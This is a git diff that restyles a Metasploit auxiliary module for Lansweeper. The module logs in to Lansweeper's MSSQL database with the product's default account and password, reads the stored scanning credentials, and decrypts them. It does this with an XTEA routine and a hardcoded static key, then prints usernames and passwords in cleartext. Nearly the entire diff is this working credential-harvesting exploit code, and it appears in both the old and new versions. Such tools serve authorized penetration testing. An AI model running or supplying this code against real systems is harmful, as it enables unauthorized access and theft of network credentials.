Fixes coding style issues
parent
3da3595181
commit
7f4a96f3dc
|
@ -1,129 +1,114 @@
|
|||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::MSSQL
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
include Msf::Exploit::Remote::MSSQL
|
||||
include Msf::Auxiliary::Report
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Lansweeper Collector',
|
||||
'Description' => %q(
|
||||
Lansweeper stores the credentials it uses to scan the computers
|
||||
in its MSSQL database. The passwords are XTea-encrypted with a
|
||||
68 character long key, which first 8 character is stored with the
|
||||
password in the database, and the other 60 is static. Lansweeper by
|
||||
default creates an MSSQL user "lansweeperuser" whose password is
|
||||
"mysecretpassword0*", and stores its data in a database called
|
||||
"lansweeperdb".
|
||||
This module will query the MSSQL database for the credentials.
|
||||
),
|
||||
'Author' => [
|
||||
# Lansweeper RCE + Metasploit implementation
|
||||
'sghctoma <tamas.szakaly [at] praudit [dot] hu>',
|
||||
# Lansweeper RCE + discovering default credentials
|
||||
'eq <balazs.bucsay [at] praudit [dot] hu>',
|
||||
# Updated module to work on latest version of lansweeper
|
||||
'calderpwn <calderon [at] websec [dot] mx>'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'URL', 'http://www.lansweeper.com'],
|
||||
[ 'URL', 'http://www.praudit.hu/prauditeng/index.php/blog/a-lansweeper-es-a-tea']
|
||||
]
|
||||
)
|
||||
)
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Lansweeper',
|
||||
'Description' => %q{
|
||||
Lansweeper stores the credentials it uses to scan the computers
|
||||
in its MSSQL database. The passwords are XTea-encrypted with a
|
||||
68 character long key, which first 8 character is stored with the
|
||||
password in the database, and the other 60 is static. Lansweeper by
|
||||
default creates an MSSQL user "lansweeperuser" whose password is
|
||||
"mysecretpassword0*", and stores its data in a database called
|
||||
"lansweeperdb".
|
||||
This module will query the MSSQL database for the credentials.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
# Lansweeper RCE + Metasploit implementation
|
||||
'sghctoma <tamas.szakaly [at] praudit [dot] hu>' ,
|
||||
|
||||
# Lansweeper RCE + discovering default credentials
|
||||
'eq <balazs.bucsay [at] praudit [dot] hu>',
|
||||
register_options([
|
||||
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'lansweeperuser' ]),
|
||||
OptString.new('PASSWORD', [ false, 'The password for the specified username', 'mysecretpassword0*' ]),
|
||||
OptString.new('DATABASE', [ true, 'The Lansweeper database', 'lansweeperdb'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
# Updated module to work on latest version of lansweeper
|
||||
'calderpwn <calderon [at] websec [dot] mx>'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.lansweeper.com'],
|
||||
[ 'URL', 'http://www.praudit.hu/prauditeng/index.php/blog/a-lansweeper-es-a-tea']
|
||||
]
|
||||
))
|
||||
def uint32(n)
|
||||
n & 0xffffffff
|
||||
end
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'lansweeperuser' ]),
|
||||
OptString.new('PASSWORD', [ false, 'The password for the specified username', 'mysecretpassword0*' ]),
|
||||
OptString.new('DATABASE', [ true, 'The Lansweeper database', 'lansweeperdb']),
|
||||
], self.class)
|
||||
end
|
||||
def xteadecode(v, k)
|
||||
num = 0xc6ef3720
|
||||
num2 = uint32(v[0])
|
||||
num3 = uint32(v[1])
|
||||
|
||||
def uint32(n)
|
||||
return n & 0xffffffff
|
||||
end
|
||||
for i in 0..0x1f
|
||||
num3 -= uint32((uint32(num2 << 4) ^ uint32(num2 >> 5)) + num2) ^
|
||||
uint32(num + k[uint32(num >> 11) & 3])
|
||||
num3 = uint32(num3)
|
||||
num -= 0x9e3779b9
|
||||
num = uint32(num)
|
||||
num2 -= ((uint32(uint32(num3 << 4) ^ uint32(num3 >> 5)) + num3) ^
|
||||
uint32(num + k[num & 3]))
|
||||
num2 = uint32(num2)
|
||||
end
|
||||
v[0] = num2
|
||||
v[1] = num3
|
||||
end
|
||||
|
||||
def xteadecode(v, k)
|
||||
num = 0xc6ef3720
|
||||
num2 = uint32(v[0])
|
||||
num3 = uint32(v[1])
|
||||
def xteadecrypt(data, key)
|
||||
k = key.ljust(16).unpack('VVVV')
|
||||
num = 0
|
||||
bytes = Array.new
|
||||
|
||||
for i in 0..0x1f
|
||||
num3 -= uint32((uint32(num2 << 4) ^ uint32(num2 >> 5)) + num2) ^
|
||||
uint32(num + k[uint32(num >> 11) & 3])
|
||||
num3 = uint32(num3)
|
||||
num -= 0x9e3779b9
|
||||
num = uint32(num)
|
||||
num2 -= ((uint32(uint32(num3 << 4) ^ uint32(num3 >> 5)) + num3) ^
|
||||
uint32(num + k[num & 3]))
|
||||
num2 = uint32(num2)
|
||||
end
|
||||
0.step(data.length - 1, 8) do |i|
|
||||
v = data[i, 8].unpack('VV')
|
||||
xteadecode(v, k)
|
||||
bytes[num] = v[0]
|
||||
num += 1
|
||||
bytes[num] = v[1]
|
||||
num += 1
|
||||
end
|
||||
bytes.pack('c*')
|
||||
end
|
||||
|
||||
v[0] = num2
|
||||
v[1] = num3
|
||||
end
|
||||
def lswgeneratepass
|
||||
key = ''
|
||||
for num in 0..60
|
||||
key << [((40 - num) + ((num * 2) + num)) - 1].pack('c')
|
||||
key << [(num + 15) + num].pack('c')
|
||||
end
|
||||
key
|
||||
end
|
||||
|
||||
def xteadecrypt(data, key)
|
||||
k = key.ljust(16).unpack('VVVV')
|
||||
num = 0
|
||||
bytes = Array.new
|
||||
def lswdecrypt(data)
|
||||
data = Rex::Text.decode_base64(data)
|
||||
|
||||
0.step(data.length - 1, 8) do |i|
|
||||
v = data[i, 8].unpack('VV')
|
||||
xteadecode(v, k)
|
||||
|
||||
bytes[num] = v[0]
|
||||
num += 1
|
||||
bytes[num] = v[1]
|
||||
num += 1
|
||||
end
|
||||
|
||||
return bytes.pack('c*')
|
||||
end
|
||||
first = data[0]
|
||||
pass = data[1, 8]
|
||||
actualdata = data[9, data.length - 9]
|
||||
|
||||
def lswgeneratepass()
|
||||
key = ''
|
||||
decrypted = xteadecrypt(actualdata, pass + lswgeneratepass)
|
||||
|
||||
for num in 0..60
|
||||
key << [((40 - num) + ((num * 2) + num)) - 1].pack('c')
|
||||
key << [(num + 15) + num].pack('c')
|
||||
end
|
||||
if first == "1"
|
||||
decrypted = decrypted[0, decrypted.length - 2]
|
||||
end
|
||||
Rex::Text.to_ascii(decrypted, 'utf-16le')
|
||||
end
|
||||
|
||||
return key
|
||||
end
|
||||
|
||||
def lswdecrypt(data)
|
||||
|
||||
data = Rex::Text.decode_base64(data)
|
||||
|
||||
first = data[0]
|
||||
pass = data[1,8]
|
||||
actualdata = data[9, data.length - 9]
|
||||
|
||||
decrypted = xteadecrypt(actualdata, pass + lswgeneratepass())
|
||||
|
||||
if first == "1"
|
||||
decrypted = decrypted[0, decrypted.length - 2]
|
||||
end
|
||||
|
||||
return Rex::Text.to_ascii(decrypted, 'utf-16le')
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
result = mssql_query('select Credname, Username, Password from ' + datastore['DATABASE'] +
|
||||
'.dbo.tsysCredentials WHERE LEN(Password)>64', true) if mssql_login_datastore
|
||||
|
||||
result[:rows].each do |row|
|
||||
print_good("Credential name: #{row[0]} | username: #{row[1]} | password: #{lswdecrypt(row[2])} ")
|
||||
end
|
||||
|
||||
disconnect
|
||||
end
|
||||
def run
|
||||
result = mssql_query('select Credname, Username, Password from ' + datastore['DATABASE'] +
|
||||
'.dbo.tsysCredentials WHERE LEN(Password)>64', true) if mssql_login_datastore
|
||||
result[:rows].each do |row|
|
||||
print_good("Credential name: #{row[0]} | username: #{row[1]} | password: #{lswdecrypt(row[2])} ")
|
||||
end
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue